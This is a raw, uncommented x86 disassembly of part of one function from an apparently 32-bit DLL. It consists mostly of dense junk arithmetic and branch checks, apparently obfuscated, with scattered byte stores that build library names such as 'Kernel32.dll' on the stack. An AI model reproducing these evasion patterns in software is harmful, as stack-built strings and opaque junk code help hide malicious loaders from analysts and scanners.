ja 0x1000a643
cmp eax, esi
jbe 0x1000a6d4
mov ecx, dword [0x10011058]
mov eax, dword [0x1001105c]
or ecx, eax
mov byte [esp + 0xf], 1
je 0x1000a65c
mov byte [esp + 0xf], 0
mov cl, byte [esp + 0x9c]
mov al, 2
sub cl, byte [esp + 0x6c]
sub al, byte [0x100110c0]
movzx edx, cl
mov ecx, dword [esp + 0x38]
sub cl, byte [esp + 0x70]
movzx eax, al
not cl
imul edx, eax
mov eax, dword [esp + 0x3c]
movzx eax, byte [esp + 0xf]
movzx ecx, cl
imul ecx, eax
xor cl, dl
cmp dword [0x100110b0], 0
mov byte [0x10011010], cl
jne 0x1000a6b6
mov eax, 1
xor ecx, ecx
mov dword [0x100110a0], eax
mov dword [0x100110a4], ecx
jmp 0x1000a721
xorps xmm0, xmm0
movlpd qword [esp + 0x10], xmm0
mov ecx, dword [esp + 0x14]
mov eax, dword [esp + 0x10]
mov dword [0x100110a0], eax
mov dword [0x100110a4], ecx
jmp 0x1000a721
mov eax, dword [0x10011008]
or eax, dword [0x1001100c]
je 0x1000a700
mov eax, dword [esp + 0x80]
movzx eax, al
cdq
neg eax
mov dword [0x10011098], eax
adc edx, 0
neg edx
mov dword [0x1001109c], edx
jmp 0x1000a721
mov eax, dword [0x100110a0]
or eax, dword [0x100110a4]
je 0x1000a721
mov eax, dword [section..data]
mov ecx, dword [0x10011004]
mov al, byte [0x10082928]
mov byte [esp + 0xa], al
mov eax, dword [0x10082928]
sub esp, 0x14
mov dword [esp + 0x34], eax
mov eax, dword [esp + 0x34]
add eax, 0x3e8
mov dword [esp + 0x24], eax
movzx eax, word [0x10011060]
add eax, 0x77619d15
mov dword [0x1001108c], eax
movzx eax, byte [esp + 0x1e]
movzx ecx, word [0x10011034]
imul eax, ecx
mov word [0x10011034], ax
mov eax, dword [esp + 0x34]
add eax, 0x5fc
mov dword [esp + 0x98], eax
mov eax, dword [esp + 0x44]
mov ecx, dword [esp + 0x48]
call fcn.10001670
mov byte [esp + 0x1e], al
add esp, 0x14
mov cl, byte [esp + 0xa]
mov eax, dword [esp + 0x9c]
test cl, cl
movzx edx, al
movzx eax, byte [0x1001103c]
cmove edx, eax
mov eax, dword [esp + 0x20]
add eax, 0x47a
mov dword [esp + 0xb4], edx
mov dword [esp + 0x74], eax
mov eax, dword [esp + 0x80]
movzx esi, al
mov eax, esi
xor eax, edi
mov edi, dword [esp + 0x98]
mov word [0x10011024], ax
mov eax, dword [0x10082928]
mov dword [esp + 0x20], eax
movzx eax, byte [0x10011013]
cdq
cmp edi, edx
mov edx, dword [esp + 0x70]
ja 0x1000a7f3
jb 0x1000a7ec
cmp edx, eax
ja 0x1000a7f3
mov ecx, 1
jmp 0x1000a7f5
xor ecx, ecx
test edi, edi
ja 0x1000a807
jb 0x1000a800
cmp edx, 0x43
ja 0x1000a807
mov eax, 1
jmp 0x1000a809
xor eax, eax
cmp ecx, eax
ja 0x1000a82b
mov eax, dword [0x100110bc]
mov ecx, 1
sub ecx, eax
mov eax, dword [esp + 0x6c]
imul ecx, dword [esp + 0x78]
movsx edx, al
mov dword [esp + 0x78], ecx
jmp 0x1000a88f
mov cl, byte [0x10011012]
not esi
mov dl, byte [esp + 0xb4]
sub dl, cl
add dl, byte [0x10011012]
movzx eax, word [0x100110b8]
imul eax, esi
mov byte [0x10011012], dl
mov edi, dword [esp + 0x50]
mov ecx, dword [esp + 0x54]
cdq
push edx
mov edx, dword [esp + 0x70]
push eax
movsx eax, dl
mov dword [esp + 0xa4], eax
movsx eax, dl
cdq
add edi, eax
adc ecx, edx
add edi, 1
adc ecx, 0
push ecx
push edi
call fcn.1000f900
mov dword [esp + 0x40], eax
mov dword [esp + 0x44], edx
mov edx, dword [esp + 0x9c]
mov eax, dword [esp + 0x20]
add eax, 0x326
mov dword [esp + 0x2c], eax
mov ecx, dword [esp + 0x50]
mov eax, dword [esp + 0x54]
mov eax, dword [esp + 0x20]
and ecx, dword [0x10011020]
add eax, 0x493
add dword [0x10011020], ecx
mov dword [esp + 0x10], eax
mov al, byte [esp + 0x64]
add al, 0x5c
mov byte [0x10011015], al
mov eax, dword [esp + 0x20]
add eax, 0x4ad
mov dword [esp + 0x10], eax
cmp dword [0x1001108c], edx
je 0x1000a8e3
mov ax, word [0x100110b4]
mov eax, dword [0x1001107c]
cmp eax, dword [esp + 0x78]
sbb ecx, ecx
neg ecx
cmp eax, 0x24
sbb eax, eax
neg eax
cmp ecx, eax
jae 0x1000a921
mov eax, dword [0x10011020]
and eax, 0xc2
mov dword [0x1001109c], 0
add word [0x1001106c], 0x1c
mov dword [0x10011098], eax
jmp 0x1000a9b6
mov eax, dword [0x1001102c]
not eax
cmp eax, dword [esp + 0x60]
jg 0x1000a93a
mov al, byte [0x10082928]
mov byte [0x10011015], al
jmp 0x1000a9b6
mov eax, dword [0x10011080]
or eax, dword [0x10011084]
jne 0x1000a96c
movzx eax, word [0x10011028]
add eax, 0xffff8374
add ax, word [0x10011090]
mov word [0x10011090], ax
mov eax, dword [0x100110a8]
mov dword [0x1001102c], eax
jmp 0x1000a9b6
mov eax, dword [0x10011050]
or eax, dword [0x10011054]
jne 0x1000a980
lea edx, [eax + 1]
xor ecx, ecx
jmp 0x1000a991
xorps xmm0, xmm0
movlpd qword [esp + 0x20], xmm0
mov ecx, dword [esp + 0x24]
mov edx, dword [esp + 0x20]
mov esi, dword [0x10011058]
mov eax, dword [0x1001105c]
cmp ecx, eax
jg 0x1000a9b6
jl 0x1000a9a6
cmp edx, esi
ja 0x1000a9b6
mov ax, word [0x10011060]
mov cl, 0x99
sub cl, al
add byte [0x10011013], cl
movsx eax, byte [esp + 0xd]
mov cl, 0x6c
sub eax, 0x357cf6dc
sub esp, 8
cdq
mov dword [0x10011018], eax
mov dword [0x1001101c], edx
mov eax, dword [esp + 0x1c0]
sub cl, al
mov eax, dword [esp + 0x1c0]
add al, cl
mov byte [esp + 0x163], al
mov ax, word [0x100110b4]
call section..text
xor edx, edx
add esp, 8
mov esi, eax
cmp esi, 0x51
setle dl
xor ecx, ecx
test esi, esi
setle cl
cmp ecx, edx
jne 0x1000aa56
movzx ecx, word [0x100110ac]
xor edx, edx
mov eax, ecx
cmp eax, dword [0x10011094]
setne dl
xor eax, eax
cmp ecx, 0x3e
setne al
cmp edx, eax
jb 0x1000aa39
mov al, byte [0x10011070]
mov byte [0x10011015], al
jmp 0x1000aa60
mov ecx, dword [esp + 0x38]
mov eax, dword [esp + 0x3c]
or ecx, eax
je 0x1000aa60
mov eax, dword [esp + 0x60]
sub eax, dword [esp + 0x88]
mov dword [esp + 0x60], eax
jmp 0x1000aa60
mov al, byte [esp + 0xa]
sub al, 0x3e
mov byte [esp + 0xd], al
cmp byte [0x10011016], 0
mov byte [esp + 0x155], 0x6c
je 0x1000aac3
movsx eax, word [0x10011030]
cmp eax, dword [esp + 0x4c]
jne 0x1000aab9
movzx eax, byte [0x10011011]
cdq
cmp eax, dword [0x10011070]
jne 0x1000aaa9
cmp edx, dword [0x10011074]
jne 0x1000aaa9
movzx eax, byte [esp + 0xb]
mov ecx, 1
imul eax, ecx
mov dword [esp + 0x4c], eax
jmp 0x1000aad0
movzx eax, byte [esp + 0xb]
xor ecx, ecx
imul eax, ecx
mov dword [esp + 0x4c], eax
jmp 0x1000aad0
neg esi
mov dword [0x10011094], esi
jmp 0x1000aad0
mov ax, word [0x100110c0]
add word [0x100110b8], ax
mov ecx, dword [esp + 0x30]
mov edi, 0x4399229
mov eax, dword [esp + 0x34]
mul edi
mov byte [esp + 0x150], 0x4b
mov esi, eax
mov byte [esp + 0x156], 0x33
mov eax, ecx
mul edi
add esi, edx
mov dword [esp + 0x50], eax
mov dword [esp + 0x54], esi
mov ecx, dword [0x10011058]
mov eax, 0xdda7
mov word [0x10011034], ax
mov eax, dword [0x1001105c]
or ecx, eax
mov eax, dword [esp + 0xa8]
jne 0x1000ab25
mov eax, dword [0x1001102c]
movsx ecx, word [0x100110c0]
mov esi, dword [esp + 0x88]
cdq
mov dword [esp + 0x68], edx
mov edx, dword [0x10011064]
mov dword [esp + 0x94], eax
add edx, ecx
movzx eax, word [0x100110ac]
not edx
neg eax
mov dword [section..data], edx
mov dword [0x10011004], 0
mov dword [esp + 0x20], eax
movzx edi, si
mov byte [esp + 0x15a], 0x6c
mov eax, 0xa546
mov word [0x100110ac], ax
mov eax, dword [0x100110a0]
or eax, dword [0x100110a4]
mov eax, dword [esp + 0x7c]
jne 0x1000ab94
movzx eax, word [0x10011034]
mov word [0x10011024], ax
mov eax, dword [esp + 0x1b4]
mov ecx, dword [esp + 0x124]
xor cl, al
mov eax, dword [esp + 0x1b4]
mov edx, dword [esp + 0x90]
add al, cl
mov ecx, dword [esp + 0x90]
add dl, al
sub cl, byte [esp + 0x90]
push dword [esp + 0xa4]
movsx ecx, cl
movsx eax, dl
imul ecx, eax
mov eax, dword [esp + 0x128]
movsx eax, al
push esi
mov byte [esp + 0x15b], 0x6e
movsx ecx, cl
imul eax, ecx
mov cl, 0x72
movsx eax, al
imul eax, eax, 0x52
sub cl, al
mov eax, dword [esp + 0xb0]
cdq
push edx
push eax
mov byte [esp + 0x162], cl
call fcn.1000f900
or eax, edx
jne 0x1000ac1e
mov eax, 1
jmp 0x1000ac20
xor eax, eax
mov ecx, dword [0x10011020]
sub ecx, eax
mov al, byte [esp + 0xd]
add al, cl
mov byte [esp + 0x159], 0x64
mov byte [0x10011012], al
mov eax, dword [esp + 0x40]
mov ecx, dword [esp + 0x44]
xor eax, 0x4023e56a
mov dword [esp + 0x9c], eax
xor ecx, 0x97742
mov eax, dword [esp + 0x1c4]
mov dword [esp + 0x124], ecx
mov ecx, dword [esp + 0x1c4]
xor cl, al
mov eax, dword [esp + 0x128]
sub cl, al
mov eax, dword [esp + 0x128]
add al, 0x65
mov byte [esp + 0x157], 0x32
add al, cl
mov byte [esp + 0x151], al
mov dword [0x10011018], 0xbe
mov dword [0x1001101c], 0
movzx eax, byte [esp + 0xa]
mov ecx, dword [0x10011018]
mov esi, dword [0x1001101c]
cdq
add eax, 1
adc edx, 0
cmp ecx, eax
jne 0x1000ad00
cmp esi, edx
jne 0x1000ad00
mov eax, dword [0x10011040]
mov ecx, dword [0x10011044]
cmp eax, 1
jne 0x1000ad00
test ecx, ecx
jne 0x1000ad00
movzx eax, byte [0x10011011]
mov ecx, dword [esp + 0x30]
mov esi, dword [esp + 0x34]
cdq
add ecx, eax
mov eax, dword [esp + 0x7c]
mov dword [esp + 0x30], ecx
adc esi, edx
add eax, 0xffffff9b
mov dword [esp + 0x34], esi
mov word [0x10011090], ax
mov al, byte [esp + 0x78]
add al, 0x12
mov dword [0x10011018], 0xbe
mov byte [0x10011013], al
mov eax, dword [esp + 0x9c]
mov dword [0x1001101c], 0
mov dword [0x101697cc], eax
movsx eax, byte [esp + 0xd]
add eax, 0xb733
mov byte [esp + 0x158], 0x2e
mov dword [0x1001102c], eax
mov eax, dword [esp + 0x8c]
mov edx, dword [esp + 0x8c]
mov ecx, dword [esp + 0x8c]
xor dl, al
sub cl, byte [esp + 0xe0]
movsx eax, dl
movsx ecx, cl
imul ecx, eax
mov eax, dword [esp + 0x60]
cdq
add cl, 0x65
mov byte [esp + 0x154], cl
cmp eax, dword [0x10011098]
jne 0x1000ad8c
cmp edx, dword [0x1001109c]
jne 0x1000ad8c
xor edx, edx
jmp 0x1000ad91
mov edx, 1
mov eax, dword [esp + 0x60]
xor ecx, ecx
cmp eax, 0x3f
setne cl
cmp edx, ecx
jne 0x1000ae83
movzx eax, byte [0x10011012]
mov esi, dword [0x10011008]
cdq
mov ecx, edx
mov edx, dword [0x1001100c]
cmp esi, eax
jne 0x1000adc7
cmp edx, ecx
jne 0x1000adc7
xor ecx, ecx
jmp 0x1000adcc
mov ecx, 1
cmp esi, 0x27
jne 0x1000add9
test edx, edx
jne 0x1000add9
xor eax, eax
jmp 0x1000adde
mov eax, 1
cmp ecx, eax
jb 0x1000ae57
mov eax, dword [0x10082928]
mov dword [esp + 0x30], eax
mov dword [esp + 0x34], 0
movzx eax, byte [esp + 0xa]
add ax, word [0x100110ac]
movzx edx, ax
movzx eax, byte [esp + 0xb]
mov cx, word [0x100110c0]
sub cx, ax
movsx eax, dx
movsx edx, cx
imul edx, eax
mov eax, dword [esp + 0x6c]
movsx cx, al
mov eax, 0x3385
cwde
not cx
movsx ecx, cx
imul ecx, eax
mov al, byte [esp + 0xa]
sub cx, dx
movzx edx, cx
xor ecx, ecx
test al, al
mov eax, dword [0x10011068]
sete cl
sub dx, cx
movzx ecx, dx
add eax, ecx
mov word [0x1001106c], ax
jmp 0x1000ae83
mov ecx, dword [esp + 0x30]
mov eax, dword [esp + 0x34]
or ecx, eax
je 0x1000ae83
mov edx, dword [0x10011058]
mov esi, dword [0x1001105c]
mov eax, dword [esp + 0x38]
add edx, eax
mov ecx, dword [esp + 0x3c]
adc esi, ecx
mov dword [esp + 0x38], edx
mov dword [esp + 0x3c], esi
mov edx, dword [esp + 0xec]
sub dl, byte [esp + 0xec]
mov eax, dword [esp + 0xec]
mov ecx, dword [esp + 0x108]
xor cl, al
movsx eax, dl
movsx ecx, cl
imul ecx, eax
mov eax, dword [esp + 0x108]
movsx eax, al
movsx ecx, cl
imul eax, ecx
movsx eax, al
imul eax, eax, 0xffffff9a
mov byte [esp + 0x15c], al
mov al, byte [0x100110a8]
mov byte [0x10011016], al
test di, di
je 0x1000af3a
movzx eax, byte [0x10011030]
mov edx, 0x93
mov ecx, dword [esp + 0x80]
mov esi, dword [0x10011098]
mov edi, dword [0x1001109c]
xor esi, 0x7ff7fbd8
imul eax, eax, 0x3d
mov byte [0x10011011], al
movzx eax, cl
movzx ecx, cl
imul ecx, eax
xor edi, 0x4af0e
mov eax, dword [0x10011074]
mov dword [esp + 0x80], ecx
mov ecx, dword [0x10011070]
add ecx, esi
adc eax, edi
sub edx, 1
jne 0x1000af24
mov dword [0x10011074], eax
mov dword [0x10011070], ecx
jmp 0x1000af99
cmp byte [esp + 0xa], 0
je 0x1000af6b
mov ecx, dword [esp + 0x78]
add ecx, 0x556afe7d
add dword [0x10011020], ecx
mov ecx, dword [esp + 0x40]
mov eax, dword [esp + 0x44]
movzx eax, cx
mov ecx, dword [esp + 0x4c]
add ecx, eax
mov word [0x100110b8], cx
jmp 0x1000af99
mov ecx, dword [0x100110b0]
mov edx, dword [esp + 0x50]
add ecx, 0xed
mov eax, dword [esp + 0x54]
not ecx
test eax, eax
jl 0x1000af99
jg 0x1000af8b
cmp edx, ecx
jb 0x1000af99
mov ax, word [0x10011060]
dec ax
mov word [0x10011060], ax
mov eax, dword [esp + 0x30]
mov ecx, dword [esp + 0x34]
add eax, 1
mov dword [0x100110a0], 0xf99e0c9f
adc ecx, 0
mov byte [esp + 0x142], 0x6c
mov dword [0x100110a4], 0
cmp dword [0x100110a0], eax
jne 0x1000affa
cmp dword [0x100110a4], ecx
jne 0x1000affa
cmp dword [0x1001102c], 1
jne 0x1000affa
mov eax, dword [0x10011094]
add eax, 0x6a
mov dword [esp + 0x40], eax
mov al, byte [0x100821a7]
mov dword [esp + 0x44], 0
mov byte [0x10011017], al
mov eax, dword [0x1001102c]
xor ecx, ecx
cmp dword [esp + 0x7c], ecx
movzx eax, ax
cmove ecx, eax
mov dword [0x100110a0], 0xf99e0c9f
movzx eax, byte [esp + 0xc]
movzx edx, cx
mov cx, word [0x10011024]
and cx, ax
mov dword [0x100110a4], 0
sub dx, cx
movzx eax, dx
sub eax, dword [esp + 0x20]
sub eax, dword [0x10011020]
mov edx, dword [esp + 0x50]
movzx ecx, ax
mov eax, dword [esp + 0x54]
add dx, cx
mov eax, dword [0x1001107c]
movzx ecx, dx
add eax, ecx
mov ecx, dword [esp + 0x40]
movzx eax, ax
mov dword [esp + 0x5c], eax
mov eax, dword [esp + 0x44]
mov edx, dword [0x10011080]
mov edi, dword [0x10011084]
shld eax, ecx, 5
mov eax, 0x1b8
mov word [esp + 0x13f], 0x642e
shl ecx, 5
add word [0x10011034], ax
mov al, byte [0x10011016]
mov byte [esp + 0xa], cl
movsx ecx, word [esp + 0x5c]
mov byte [esp + 0x13c], 0x6c
mov byte [esp + 0xf], al
mov dword [esp + 0xe0], edx
lea esi, [ecx + 0xad]
nop dword [eax + eax]
movzx eax, al
mov edx, 0xe001
mov word [0x10011060], dx
cmp eax, esi
jne 0x1000b0ec
mov eax, ecx
cdq
add eax, dword [esp + 0xe0]
adc edx, edi
cmp eax, 1
jne 0x1000b0ec
mov al, byte [esp + 0xf]
test edx, edx
je 0x1000b0c0
movzx eax, word [0x10011060]
mov ecx, dword [esp + 0x40]
mov esi, dword [esp + 0x44]
cdq
sub ecx, eax
mov word [esp + 0x138], 0x6853
mov dword [esp + 0x40], ecx
mov eax, 0x36a4
sbb esi, edx
mov word [0x1001103c], ax
mov dword [esp + 0x44], esi
movzx ecx, byte [esp + 0xa]
movzx eax, word [0x100110b4]
add ecx, 0xb7
cmp eax, ecx
jne 0x1000b1cf
push 0
push 0xb7
push dword [esp + 0xac]
push dword [esp + 0x94]
call fcn.1000f900
mov esi, eax
mov edi, edx
mov ecx, esi
mov edx, edi
add ecx, dword [0x10011080]
adc edx, dword [0x10011084]
cmp ecx, 1
jne 0x1000b1cf
test edx, edx
jne 0x1000b1cf
mov eax, dword [section..data]
mov ecx, dword [0x10011004]
call fcn.10001560
mov dword [0x10011064], eax
mov ecx, dword [section..data]
mov eax, dword [0x10011004]
cmp dword [0x1001104c], eax
ja 0x1000b1ae
jb 0x1000b1a0
cmp dword [0x10011048], ecx
ja 0x1000b1ae
mov ax, word [0x10011028]
mov eax, dword [esp + 0x30]
mov ecx, dword [esp + 0x34]
movzx ecx, byte [esp + 0xa]
mov eax, 0x36a4
mov word [0x1001103c], ax
add ecx, 0xb7
movzx eax, word [0x100110b4]
cmp eax, ecx
je 0x1000b155
mov eax, dword [esp + 0x70]
or eax, dword [esp + 0x98]
mov byte [esp + 0x13d], 0x33
jne 0x1000b20c
mov ecx, dword [esp + 0x30]
mov esi, dword [esp + 0x34]
add ecx, 0x53dd
adc esi, eax
mov eax, dword [0x100110a8]
cdq
cmp eax, ecx
jne 0x1000b20c
cmp edx, esi
jne 0x1000b20c
mov eax, dword [esp + 0x60]
sub byte [0x10011013], al
mov edi, dword [esp + 0x124]
mov eax, 0x3e
mov word [0x1001103c], ax
mov eax, dword [esp + 0x9c]
or eax, edi
je 0x1000b234
mov ax, word [0x100110b4]
movzx eax, ax
jmp 0x1000b23b
movzx eax, byte [0x10011012]
mov ecx, dword [esp + 0x38]
mov dword [esp + 0x5c], eax
mov eax, dword [esp + 0x3c]
or ecx, eax
mov al, byte [esp + 0xc]
jne 0x1000b253
mov al, byte [esp + 0x5c]
movzx ecx, byte [0x10011016]
xor esi, esi
or esi, dword [esp + 0xa4]
mov dword [esp + 0xac], eax
not esi
mov eax, dword [esp + 0x60]
xor eax, ecx
mov byte [esp + 0x13b], 0x6c
add eax, dword [esp + 0x78]
mov ecx, dword [0x10011020]
or ecx, dword [esp + 0x88]
cdq
not ecx
or ecx, eax
mov byte [esp + 0x141], 0x6c
mov ax, word [esp + 0x5c]
or esi, edx
mov edx, dword [esp + 0xac]
mov dword [0x10011070], ecx
xor ecx, ecx
test ax, ax
mov word [esp + 0x8c], ax
movsx eax, byte [esp + 0xd]
sete cl
mov dword [0x10011074], esi
xor cx, ax
movsx ax, dl
add cx, ax
movzx eax, word [esp + 0x40]
add cx, word [esp + 0x78]
cmp word [0x10011088], 0
mov word [0x1001106c], cx
jne 0x1000b2f3
movzx eax, word [0x10011094]
mov dword [esp + 0xb0], eax
mov al, 0xfc
sub al, byte [esp + 0xa8]
add al, byte [esp + 0xb]
mov byte [esp + 0x13a], 0x65
mov byte [esp + 0xb], al
mov eax, 0xffffaced
mov ecx, dword [esp + 0x30]
mov esi, dword [esp + 0x34]
add ecx, 1
mov word [0x1001103c], ax
movsx eax, word [0x1001103c]
adc esi, 0
cdq
mov byte [esp + 0x13e], 0x32
cmp eax, ecx
jne 0x1000b366
cmp edx, esi
jne 0x1000b366
cmp dword [0x10011038], 1
jne 0x1000b366
mov eax, dword [esp + 0x80]
movzx eax, al
cdq
add eax, 0x34
mov dword [esp + 0x40], eax
adc edx, 0
mov dword [esp + 0x44], edx
mov eax, 0xffffaced
mov byte [esp + 0x143], 0
mov word [0x1001103c], ax
mov eax, 0x1c79
mov word [0x100110b4], ax
movzx eax, byte [esp + 0xb]
cdq
cmp dword [0x10011074], edx
jl 0x1000b3cd
jg 0x1000b39c
cmp dword [0x10011070], eax
jb 0x1000b3cd
mov eax, dword [esp + 0x9c]
movsx ecx, word [0x10011088]
movsx eax, al
imul eax, eax, 0x3a
mov dword [esp + 0xac], eax
mov eax, 0x162
add dword [esp + 0x20], eax
mov dword [0x10011850], ecx
sub eax, 1
jne 0x1000b3c0
jmp 0x1000b3de
mov byte [0x10011012], 0x5c
mov dword [0x10011020], 0x711
mov ecx, dword [esp + 0x40]
movsx eax, word [0x1001106c]
mov esi, dword [esp + 0x44]
cdq
sub ecx, eax
mov byte [esp + 0x148], 0x61
mov eax, dword [esp + 0xa4]
mov dword [esp + 0x40], ecx
sbb esi, edx
mov ecx, dword [esp + 0x88]
mov edx, dword [esp + 0x98]
shrd ecx, eax, 1
mov dword [esp + 0x44], esi
mov word [0x10011030], cx
mov ecx, dword [esp + 0x70]
add ecx, 1
mov byte [esp + 0x14b], 0x2e
mov dword [0x10011038], 0x7d
mov eax, dword [0x10011038]
adc edx, 0
xor esi, esi
mov dword [esp + 0xec], 0x2a
cmp eax, ecx
jne 0x1000b5de
cmp esi, edx
jne 0x1000b5de
mov eax, dword [0x10011018]
mov ecx, dword [0x1001101c]
mov eax, dword [0x10011020]
mov word [esp + 0x90], ax
mov dword [esp + 0x108], 0x7e6d3a1c
mov byte [esp + 0xe], 0xf5
movzx eax, word [0x10011060]
mov dword [esp + 0xe0], eax
mov eax, dword [0x10011058]
mov ecx, dword [0x1001105c]
mov dword [esp + 0xe0], eax
mov eax, dword [esp + 0xec]
mov dword [esp + 0xe4], ecx
mov word [esp + 0x90], ax
mov eax, dword [0x10011080]
mov dword [esp + 0xe0], eax
mov al, byte [0x10011070]
mov dword [esp + 0xe0], 0x5e60
mov byte [esp + 0xf], al
mov ax, word [0x10011024]
mov word [esp + 0x90], ax
movzx eax, byte [0x10011015]
mov dword [esp + 0xe0], eax
mov dword [esp + 0xe0], 0x4b57
mov dword [esp + 0xe4], esi
mov eax, dword [0x1001102c]
mov dword [esp + 0x128], eax
mov eax, dword [0x10011038]
mov al, byte [0x10011094]
mov dword [esp + 0xe0], 0x16
mov dword [esp + 0xe4], esi
mov byte [esp + 0xe], al
movzx eax, word [0x10011024]
mov dword [esp + 0xe0], eax
movsx ecx, byte [esp + 0xf]
mov edx, dword [esp + 0x108]
mov ax, word [esp + 0x90]
movsx eax, al
imul edx, eax
xor eax, eax
imul edx, ecx
cmp dword [0x100110a8], eax
mov cx, word [0x10011028]
sete al
xor cx, ax
not cx
add cx, dx
add cx, word [0x10011068]
mov word [0x10011090], cx
mov ecx, dword [0x10011078]
movzx eax, word [0x100110b8]
sub ecx, eax
mov eax, dword [0x1001107c]
xor ecx, dword [0x10011070]
add eax, 0x2ea
imul eax, eax, 0x8a3e
sub ecx, eax
movsx eax, byte [0x10011014]
sub eax, 0xa8
mov dword [esp + 0x108], ecx
mov dword [esp + 0xe0], eax
mov ax, word [0x100110b4]
mov eax, dword [esp + 0x128]
mov byte [esp + 0x64], al
mov dword [0x10011038], 0x7d
mov al, byte [0x10011026]
add al, 0x15
mov byte [0x10011015], 0x14
mov byte [0x10011026], al
cmp word [0x10011024], si
je 0x1000b64b
mov ecx, dword [esp + 0x38]
mov eax, dword [esp + 0x3c]
not cx
mov eax, dword [esp + 0x1dc]
cwde
movsx ecx, cx
imul ecx, eax
mov eax, dword [0x1001107c]
add eax, 0x38f3
imul eax, dword [0x10011008]
movzx ecx, cx
sub ecx, eax
movzx eax, cx
mov dword [esp + 0xb0], eax
mov ax, word [0x100110c0]
mov word [0x1001103c], ax
jmp 0x1000b663
mov dword [0x10011058], 0x398bd199
mov byte [esp + 0x80], 0xfe
mov dword [0x1001105c], esi
mov eax, dword [esp + 0x1a4]
mov edx, dword [esp + 0x1a4]
mov ecx, dword [esp + 0x1a4]
xor dl, al
add cl, byte [esp + 0x1a8]
movsx eax, dl
movsx ecx, cl
imul ecx, eax
mov al, 0x53
sub al, cl
movzx ecx, word [0x100110ac]
mov byte [esp + 0x144], al
mov eax, dword [esp + 0xb4]
movzx eax, al
cmp cx, ax
sbb edx, edx
inc edx
cmp ecx, 0x22
sbb eax, eax
inc eax
cmp edx, eax
ja 0x1000b6e4
cmp byte [esp + 0xac], 0
je 0x1000b6e4
mov dword [0x1001102c], 4
mov ecx, dword [section..data]
mov eax, dword [0x10011004]
mov eax, 0x1938
add cx, ax
mov word [0x10011060], cx
movsx eax, word [esp + 0xb0]
mov esi, dword [0x10011058]
mov ecx, dword [0x1001105c]
cdq
mov byte [esp + 0x149], 0x70
cmp edx, ecx
jl 0x1000b770
jg 0x1000b70b
cmp eax, esi
jb 0x1000b770
cmp byte [esp + 0xb4], 0
je 0x1000b73c
mov eax, dword [esp + 0x80]
movzx eax, al
add word [0x10011088], ax
movsx eax, word [0x100110c0]
sub eax, 0xef19
mov dword [0x1001107c], eax
jmp 0x1000b7bc
mov al, byte [esp + 0xb]
xor ecx, ecx
test al, al
mov eax, dword [0x10011094]
not eax
sete cl
add eax, ecx
jne 0x1000b763
mov dword [0x10011048], 1
mov dword [0x1001104c], eax
jmp 0x1000b7bc
xorps xmm0, xmm0
movlpd qword [0x10011048], xmm0
jmp 0x1000b7bc
cmp dword [0x10011064], 0
je 0x1000b787
mov eax, dword [esp + 0x60]
add eax, dword [esp + 0x4c]
mov dword [esp + 0x4c], eax
jmp 0x1000b7bc
cmp byte [0x10011014], 0
je 0x1000b7bc
cmp dword [0x100110b0], 0
je 0x1000b7a8
mov eax, dword [esp + 0x9c]
mov dword [0x10011054], edi
jmp 0x1000b7b7
mov eax, dword [0x10011068]
mov dword [0x10011054], 0
mov dword [0x10011050], eax
mov eax, dword [esp + 0x1c0]
mov edx, dword [esp + 0x1c0]
mov ecx, dword [esp + 0xf4]
xor dl, al
add cl, 0x7f
movsx eax, dl
movsx ecx, cl
mov edx, 0x60
imul ecx, eax
add cl, 0x6c
mov byte [esp + 0x14e], cl
nop
mov ecx, dword [esp + 0x30]
mov eax, dword [esp + 0x34]
or ecx, eax
je 0x1000b80e
mov ecx, dword [0x10011018]
mov eax, dword [0x1001101c]
add cl, 0x6b
mov byte [esp + 0xb], cl
mov eax, dword [esp + 0x50]
mov ecx, dword [esp + 0x54]
add eax, 1
mov dword [esp + 0x50], eax
adc ecx, 0
mov dword [esp + 0x54], ecx
sub edx, 1
jne 0x1000b7f0
mov eax, dword [esp + 0xa0]
mov ecx, dword [esp + 0xa0]
xor cl, al
mov dword [esp + 0x80], 0xc9e8cadf
mov eax, dword [esp + 0xa0]
movsx edx, al
mov eax, dword [esp + 0xa0]
movsx ecx, cl
imul edx, ecx
mov dword [esp + 0xa8], 0xa1805
mov byte [esp + 0x1f], 0x8b
mov byte [esp + 0x14a], 0x69
movsx ecx, dl
movsx edx, al
mov al, 0x6c
imul edx, ecx
sub al, dl
mov byte [esp + 0x146], al
mov eax, dword [esp + 0x10c]
mov ecx, dword [esp + 0x10c]
sub cl, al
mov eax, dword [esp + 0xc0]
xor al, 0x9f
movsx ecx, cl
movsx eax, al
imul ecx, eax
add cl, 0x64
cmp byte [0x10011026], 0
mov byte [esp + 0x14c], cl
je 0x1000b8cd
mov al, byte [0x1011241a]
mov byte [0x10011012], al
mov ax, word [esp + 0x5c]
jmp 0x1000b8ec
mov ax, word [esp + 0x5c]
movsx ecx, word [0x100110b8]
cwde
imul ecx, eax
movzx eax, cx
mov dword [esp + 0x5c], eax
mov word [esp + 0x8c], ax
movzx edi, ax
mov byte [esp + 0x145], 0x68
mov byte [esp + 0x14d], 0x6c
mov byte [0x10011012], 0x39
movzx eax, byte [0x10011012]
mov ecx, dword [esp + 0x30]
mov esi, dword [esp + 0x34]
cdq
add ecx, eax
mov dword [esp + 0xf4], edi
adc esi, edx
xor eax, eax
cmp dword [0x10011094], ecx
jne 0x1000bacc
cmp eax, esi
jne 0x1000bacc
mov ax, word [esp + 0x5c]
cwde
add eax, 0x2543
mov dword [esp + 0xc0], eax
nop dword [eax]
mov eax, dword [0x100110b0]
xor ecx, ecx
cmp eax, dword [0x10011080]
jne 0x1000b98e
cmp ecx, dword [0x10011084]
jne 0x1000b98e
mov ecx, dword [esp + 0x88]
mov eax, dword [esp + 0xa4]
add ecx, 0x1279365
mov dword [0x10011098], ecx
adc eax, 0xffffffff
mov dword [0x1001109c], eax
jmp 0x1000ba83
cmp byte [esp + 0xb], cl
je 0x1000b9ce
cmp word [0x1001106c], cx
je 0x1000b9b3
movzx eax, byte [esp + 0xc]
cdq
mov dword [esp + 0x94], eax
mov dword [esp + 0x68], edx
jmp 0x1000ba83
mov eax, dword [esp + 0xac]
movsx eax, al
cdq
mov dword [esp + 0x94], eax
mov dword [esp + 0x68], edx
jmp 0x1000ba83
cmp dword [0x10011084], 0xdb471
jg 0x1000b9f7
jl 0x1000b9e8
cmp dword [0x10011080], 0x614167a9
jae 0x1000b9f7
mov dword [esp + 0x10c], 1
xor edi, edi
jmp 0x1000ba18
xorps xmm0, xmm0
movlpd qword [esp + 0x1a8], xmm0
mov eax, dword [esp + 0x1a8]
mov edi, dword [esp + 0x1ac]
mov dword [esp + 0x10c], eax
movsx eax, byte [esp + 0xd]
